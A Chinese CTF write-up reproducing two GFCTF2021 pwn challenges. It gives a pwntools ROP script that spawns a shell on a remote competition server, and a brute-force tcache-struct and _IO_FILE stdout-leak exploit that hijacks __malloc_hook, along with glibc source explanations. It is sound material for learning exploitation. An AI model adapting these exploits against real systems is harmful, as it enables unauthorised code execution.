GFCTF2021复现
196082 慢慢好起来

深刻感觉到了这场比赛的难度,要是参加了的话我可能第一道题都完成不了。这次只复现了前面两道,因为第三题考得更多的是代码审计能力吧。

shell

题目保护只开了nx,主函数也是很简单的栈溢出。

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

system("echo 'zltt lost his shell, can you find it?'");
read(0, buf, 0x38uLL);
return 0;
}

但是问题是题目没有泄漏函数。所以这里存在一个冷知识

image-20220111150232606

system(“$0”)同样可以拿到shell

image-20220111150356286

在ida发现tip函数存在

image-20220111150431403

text段可以即可拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

elf = ELF('./shell')
# r = process('./shell')
r = remote(b'1.14.71.254', 28087)

context.log_level = 'debug'
system = elf.plt['system']
pop_rdi = 0x00000000004005e3
shell_addr = 0x400541
ret = 0x0000000000400416

r.recvuntil(b"\n")
payload = b'a'*(0x10+0x8)+p64(pop_rdi)+p64(shell_addr) + \
p64(0x0000000000400416)+p64(system)
r.sendline(payload)
r.sendline(b'cat flag')

r.interactive()

look_face_no_patch

所需知识点:tcache struct attack,_IO_FILE leak

这个题目有点绕,不过先把知识点掌握了就好。

tcache struct attack

我这里主要是我自己总结可能阐述不是特别清楚所以看不懂的话可以看https://xz.aliyun.com/t/6828 这篇文章。

字面意思也就是攻击tcache结构体。

在做长安战役的比赛的off by one那道题目时我就在想,为什么我malloc一个chunk的时候要多出来一个0x250大小的chunk呢,现在知道这个chunk就是tcache的结构体。

和unsortedbin里面存的main_arena不同的是tcache的结构体就直接放在heap段的第一个。

image-20220111151306312

可以看到上面的0x251大小的就是tcache结构体,再执行到free然后观察其内部结构。

(因为刚刚的0x80不具有演示效果我改了一下)

image-20220111151720296

可以看见在tcache struct中heap_base+0x10–>heap_base+0x50之间是存放的counts,而heap_base+0x50–>heap_base+0x250之间存放的这是tcache_entry指针。

利用方式

首先利用double free

image-20220111153652180

此时chunk的fd指针指向的是他本身,而我们已知的tcache struct是在heap_base的位置所以只需要修改后面三位为010(这里是因为tcache_entry指向的是和malloc返回的指针只想同一个位置也就是heap_addr+0x10)所以我们只需要爆破第四位即可,那我们成功的概率也就是1/16。当我们爆破成功之后我们此时malloc两次chunk我们就可以得到tcache的结构体,将前面的内容全部填充为0xff即可绕过tcache,让后面free的chunk进入unsorted bin。

_IO_FILE leak

在我的这一篇博客提到过_IO_FILE write https://cv196082.gitee.io/2021/12/06/echo-back/ 不了解结构体可以先去看一下。

当然同上面知识点一样,我也只是对于自己的总结可能阐述不清楚,若仍有困惑之处请看这位大师傅的 https://blog.wjhwjhn.com/archives/95/

我写的那一篇博客提到过,内存中存在着三个文件指针,分别是stderr,stdout,stdin。

image-20220111161304428

这三个文件指针一般存放在bss段上用于输出输入数据,所指向的内容在libc中,而结构体内部的内容是可以被修改的,所以当我们有任意地址写的权限是就可以修改结构体实现stdout leak。下面就是stdout的内部结构:

image-20220111163346092

我们需要修改的是_flags_IO_write_base,在这之间的三个指针,我们覆盖_IO_write_base势必会覆盖掉它们,但是这是stdout,而上面这三个主要是输入的时候才会有用,所以直接覆盖成p64(0)即可。

copy:解释以上指针的作用

其中_IO_buf_base_IO_buf_end 是缓冲区建立函数。
_IO_doallocbuf 会在里面建立输入输出缓冲区,并把基地址保存在_IO_buf_base 中,结束地址保存在_IO_buf_end 中。
在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base,结束地址给_IO_write_end,同时_IO_write_ptr 表示为已经使用的地址。
_IO_write_base_IO_write_ptr 之间的空间是已经使用的缓冲区,_IO_write_ptr_IO_write_end 之间为剩余的输出缓冲区。

所以根据以上说法的话,我们只需要将_IO_write_base调小即可输入_IO_write_base_IO_write_ptr之间的内容。

_flags为什么也要修改?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* Magic number and bits for the _flags field.  The magic number is
mostly vestigial, but preserved for compatibility. It occupies the
high 16 bits of _flags; the low 16 bits are actual flag bits. */
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000

上面是glibc中给出的常量。

以puts函数输出的真正调用为例,具体调用的顺序是:

_IO_puts -> _IO_sputn -> _IO_new_file_xsputn -> _IO_overflow -> _IO_new_file_overflow

其中检查较为重要的是_IO_new_file_overflow函数。

1
2
3
4
5
6
if (f->_flags & _IO_NO_WRITES) / SET ERROR /
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}

_IO_NO_WRITES使用于检验是否可以输出数据的,为1表示禁止,为0表示允许。这个_IO_NO_WRITES在stdout当中为0,在stdin当中为1。根据上面的表达式其实可以看出来我们必须满足 (f->_flags & _IO_NO_WRITES)==0

后面检测_IO_CURRENTLY_PUTTING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf(f);
_IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely(_IO_in_backup(f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area(f);
f->_IO_read_base -= MIN(nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}

主要关心的是_IO_CURRENTLY_PUTTING,这个使用来判断是否初始化的,若是没有初始化过则为0,若是初始化过则为1,一般输出过内容之后就变成了1除非它输出任何东西。如果这里没通过那我们的_IO_write_base会被修改那就达不到泄漏的目的,所以我们要满足 (f->_flags & _IO_CURRENTLY_PUTTING)==1

最后一个检测

1
2
3
4
5
6
7
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}

这一部分是进入new_do_write (f, s, do_write);函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static size_t
new_do_write(FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos = _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE(fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column(fp->_cur_column - 1, data, count) + 1;
_IO_setg(fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base
: fp->_IO_buf_end);
return count;
}

这里需要注意的是这两个这两句

if (fp->_flags & _IO_IS_APPENDING)

else if (fp->_IO_read_end != fp->_IO_write_base)

我们这里无论进入那一个语句都是可以执行到下面的,但是一般来说我们都会选择进入第一个因为他内部的代码较少,只有一行。

所以根据上面的结论来说我的可以计算出_flags的值。

1
2
3
1.(fp->_flags & _IO_NO_WRITES) == 0
2.(fp->_flags & _IO_CURRENTLY_PUTTING) == 1
3.(fp->_flags & _IO_IS_APPENDING) == 1

计算可得,fp->_flags = 0xfbad1800, 其中_IO_MAGIC = 0xfdab0000,这是个 Magic Number,是固定的。

一般的利用方式

一般是将chunk释放进unsorted bin当中,是chunk保存main_arena,然后利用partial overwrite爆破出_IO_2_1_stdout_结构体的位置,随后就是根据上面得出来的值得到_IO_2_1_stdout_的地址来获取libc

解题

有了以上的基础我们才可以正式开始看这道题目。

检查保护

image-20220111174241863

保护全开,好样的!

流程分析

题目类型是很常规的菜单题,但是没有edit函数和show函数。先看add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 add()
{
int i; // [rsp+8h] [rbp-498h]
int v2; // [rsp+Ch] [rbp-494h]
char s[1160]; // [rsp+10h] [rbp-490h] BYREF
unsigned __int64 v4; // [rsp+498h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x80uLL);
puts("cont...");
v2 = read(0, s, 0x78uLL);
if ( v2 > 112 || v2 < 0 )
run();
s[v2] = 10;
ptr = malloc(v2);
for ( i = 0; s[i] != 10; ++i )
*((_BYTE *)ptr + i) = s[i];
puts("OK");
return v4 - __readfsqword(0x28u);
}

这里我们malloc的chunk的size是由我们输入的内容长度确定的,而下面的for循环,是将数据写进去,当出现b’\n’时就会结束循环停止写入。

再看dele函数

1
2
3
4
5
6
7
8
9
10
int dele()
{
if ( !ptr )
run();
if ( (unsigned int)dele_time > 2 )
run();
free(ptr);
++dele_time;
return puts("OK");
}

这个题很怪的一点就是我们只能删除当前创建的chunk并且总共只能删除三次,而且nssctf贴心的告诉了我们题目运行的环境是ubuntu18那libc版本就是2.27那就代表存在tcache,在不知道tcache struct attack的情况就直接想放弃了。

利用分析

image-20220111181152135

首先利用double free让我们创建chunk的fd指针只想自身。

image-20220111181726081

可以看到我们利用爆破最后一个字节修改了tcache struct当中记录counts的值,再观察一下bin的情况

image-20220111181843257

后面也是一样的。接着我们释放chunk,此时储存tcache struct的chunk进入unsorted bin。

image-20220111182653794

接着我们创建一个0x50大小的chunk(至于为什么我放到代码当中解释)。

image-20220111183252695

接着开始猜stdout的地址。到这一步,成功的概率只有1/256了所以我就不做过程截图了(因为我自己打本地的时候等了五六分钟,他给我来一句程序运行太多,就没了)所以下面直接给exp了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from LibcSearcher import *

elf = ELF("./look_face_no_patch")
r = process('./look_face_no_patch')

context.log_level = 'debug'


def create(contents):
r.recvuntil(b'>>')
r.sendline(b'1')
r.recvuntil(b'cont...')
r.sendline(contents)


def delete():
r.recvuntil(b'>>')
r.sendline(b'2')


def boom():
create(b'\x00'*0x30)
delete()
delete()

heap = 0x8010
create((p16(heap)+b'\n').ljust(0x30, b'\x00'))
create(b"\n".ljust(0x30, b'\x00'))
create(b'\xff'*0x30)
delete()
create(b'\x00'*0x40)# 放开前面的counts区域,修改后面的tcache_entry指针,并且是tcache_counts为0,为后续做铺垫
stdout = 0x8760
create((p16(stdout)+b'\n').ljust(0x10, b'\x00'))# 开始爆破stdout的地址(也只需要爆破一位),这一块chunk是切割的unsorted bin当中的内容,也就是tcache_struct,下去思考一下就能想到我们爆破的是tcache大小为0x40的指针
create((p64(0xfbad1800)+p64(0)*3+p64(0x60)+b'\n').ljust(0x30, b'\x00'))# 这一步开始修改结构体内部的值
r.recvuntil(b'\n')
if u64(r.recv(8)) != 0xfbad1800:
return 0
r.recv(0x20)
stdout = u64(r.recv(6).ljust(0x8, b'\x00'))-131
print(hex(stdout))
# libc = LibcSearcher('_IO_2_1_stdout_', stdout)
libc = ELF('./libc-2.27.so')
# success(libc.address)
libc_base = stdout-libc.symbols['_IO_2_1_stdout_']
pop_rdi = 0x000000000002155f+libc_base
pop_rsi = 0x0000000000023e8a+libc_base
pop_rdx = 0x0000000000001b96+libc_base
push_rsp = 0x0000000000024ef4+libc_base
open_addr = libc_base+libc.symbols['open']
read_addr = libc_base+libc.symbols['read']
write_addr = libc_base+libc.symbols['write']
malloc_hook = libc_base+libc.symbols['__malloc_hook']

create((p64(malloc_hook)+b'\n').ljust(0x10, b'\x00'))# 这一步我们又是从unsorted bin当中切出来位置,但因为上面用了0x20所以我们修改的tcache_entry是大小为0x80的chunk。后面就是正常的构造ROP了
create((p64(push_rsp)+b'/flag'+b'\n').ljust(0x70, b'\x00'))

payload = p64(pop_rdi)+p64(malloc_hook+0x8)+p64(open_addr)+p64(pop_rdi) + \
p64(3)+p64(pop_rdx)+p64(0x50)+p64(pop_rsi) + \
p64(malloc_hook+10)+p64(puts)+b'\n'
create(payload.ljust(0x70, b'\x00'))


if __name__ == '__main__':
while 1:
try:
res = boom()
if(res == 0):
r = process('./look_face_no_patch')
continue
break
except:
r = process('./look_face_no_patch')
continue
gdb.attach(r)
r.interactive()

上面代码解释可能难以理解,所以我画了一张图。

我们将存放tcache_struct的chunk释放进unsorted bin当中的后续情况如下图:

image-20220111190610152

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量